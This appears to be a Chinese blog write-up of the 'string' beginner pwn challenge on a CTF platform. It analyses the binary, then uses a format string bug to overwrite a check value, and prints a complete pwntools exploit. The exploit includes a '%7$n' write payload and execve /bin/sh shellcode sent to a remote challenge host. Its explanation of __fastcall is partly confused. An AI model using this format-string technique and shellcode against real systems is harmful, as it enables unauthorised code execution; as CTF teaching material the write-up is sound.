pwn刷题num10-----格式化字符串漏洞

61 篇文章 1 订阅
17 篇文章 0 订阅

攻防世界pwn新手区string
在这里插入图片描述
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
在这里插入图片描述

64位,小端序
开启全部RELRO---got表不可写
开启canary保护---栈溢出需绕过canary
开启NX保护----注入的shellcode不可执行
未开启PIE----程序地址为真实地址
动态链接

在这里插入图片描述

	英文意思是:我们是巫师,我们会给你手,你不能自己打败龙......
	我们会告诉你两个秘密......秘密
	[0]是6662a0秘密[1]是6662a4
	不要告诉任何人
	你的角色的名字应该是什么是:

根据提示输入信息,先随便输入一个名字,本文写的是pwn

在这里插入图片描述

英文意思是:创建一个新的玩家。
这是一家著名但非常不寻常的旅馆。
空气清新,大理石瓷砖地面干净。
很少能看到吵闹的客人,而且家具看起来也没有因斗殴而受损,这在世界各地的其他酒吧中很常见。
装饰看起来非常珍贵,可以装进一座宫殿,但在这座城市里却很普通。
房间中间是天鹅绒覆盖的椅子和长凳,围绕着大橡木桌子。
一个大标志固定在木栏后面的北墙上。
在一个角落里,你注意到一个壁炉。
有两个明显的出口:向东,向上。
但奇怪的是,那里没有人。
那么,你会去哪里?向东还是向上?:

选择east或up

(1)east

选择east后选1,选0的话会退出程序
在这里插入图片描述

你向东走了一小段路。奇怪,有人突然消失了,发生了什么?!
你只是旅行,发现另一个洞你记得,一个大黑洞会把你吸进去!
知道你应该怎么做吗?
进入那里(1),还是离开(0)?:
1 
在你脑海中听到一个声音“给我一个地址”

这里随便写一个地址
在这里插入图片描述

	英文意思:一个声音在你脑海中听到'给我一个地址' 
	0x231312
	 而且,你的愿望是:你的愿望是 x231312我听到了,我听到了....啊!!!!!!!!!!!!!!!!
	龙出现了!!
	龙说:哈哈!
	你应该有一个普通的RPG游戏,但我改变了它!
	你没有武器和技能!
	你打不过我!
	这听起来太可怕了!
	你遇到了最终的老板!但你的水平是一个!
	末日……真的吗?

到这就结束了

(2)up

选up后,会一直问你去哪,无限循环。。。
在这里插入图片描述
ida一下,找到main函数
在这里插入图片描述
这里告诉我们两个秘密数字0x44和0x55
并且程序会输出两个秘密的地址(%x)
进入sub_400996();函数看一下
在这里插入图片描述
根据一开始程序运行来看,这个函数应该是召唤了一只龙
在这里插入图片描述
接着看一下主函数里的sub_400D72(screct)
在这里插入图片描述
让我们输入名字的地方,name大小不能超过0xC个字节(即12个字节)
看一下sub_400A7D();
在这里插入图片描述
仔细分析发现,如果输入east就会退出这个函数
在这里插入图片描述
输入up会进入sub_4009DD();
在这里插入图片描述
v2一个随机数,如果输入的数不等于随机数,程序就会无限循环中
看来刚才应该选east
选east跳出循环
来到sub_400BB9();
在这里插入图片描述
一个if语句,需要v1的值为1,就是输入完east后选1
下面有个格式化字符串溢出
在这里插入图片描述
这个函数结束后会进行get_shell((_DWORD *)a1);
在这里插入图片描述
在这里插入图片描述

首先mmap()申请一段堆空间
然后一个函数调用,参数是0和v1

 ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);

__fastcall是c语言的一个函数调用约定,通过栈来调用函数

将部分参数通过寄存器传入,其余参数通过栈方式传入的方法。
函数的第一个和第二个DWORD参数(或者尺寸更小的)通过ecx和edx传递,其他参数通过从右向左的顺序压栈
被调用函数清理堆栈
函数名修改规则同stdcall
其声明语法为:int fastcall function(int a,int b)

我们只需将shellcode写入v1,就可以运行我们的shellcode
还有一个问题是要想调用这个函数,首先要让 *a1 == a1[1]即(a1[0]=a1[1]),这里的a1就是主函数里的secret
a1[0]是0x44,a1[1]是0x55,可以通过上面的printf格式化字符串漏洞,修改a1[0]的值为0x55,使a1[0]=a1[1]。

exp

from pwn import *
context(os = 'linux',endian = 'little',arch = 'amd64',log_level = 'debug')
sh = remote('111.200.241.244',65005)
sh.recvuntil(b'secret[0] is ')
num_addr = int(sh.recvuntil("\n")[:-1],16)  # 获取地址,并用16进制保存起来
print(num_addr)
sh.sendlineafter("What should your character's name be:\n",b'pwn') #输入名字
sh.sendlineafter("So, where you will go?east or up?:\n",b'east')    #输入east
sh.sendlineafter('go into there(1), or leave(0)?:\n',b'1')  #输入1
sh.sendlineafter("'Give me an address'\n",str(num_addr))    #输入a1[0]的地址
sh.sendlineafter('And, you wish is:\n','a'*0x55+'%7$n')       #修改a1[0]为0x55
shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' #shellcode机器码
sh.sendlineafter('Wizard: I will help you! USE YOU SPELL',shellcode)
sh.interactive()

运行获得shell

在这里插入图片描述

关于寻找第几个参数的问题

sh.sendlineafter('And, you wish is:\n','a'*0x55+'%7$n')

为什么这里是第7个参数
用pwngdb调试一下
找到格式化字符串漏洞printf()的地址
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
输入多个a,以0x6161616161做标志
根据64位传参方式,

参数少于7个,参数从左向右放入寄存器:rdi,rsi,rdx,rcx,r8,r9

参数大于7个:前六个与前面一样,但后面一次从右向左放入栈

在这里插入图片描述](https://img-blog.csdnimg.cn/64b281e7490c44589da45e0c9c5e3599.pn

图中aaaaaaaaaa位于rsp+0x10处
所以要修改的地址是prinf的第8个参数,格式化字符串的第7个

附上
64位与32位传参方式

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值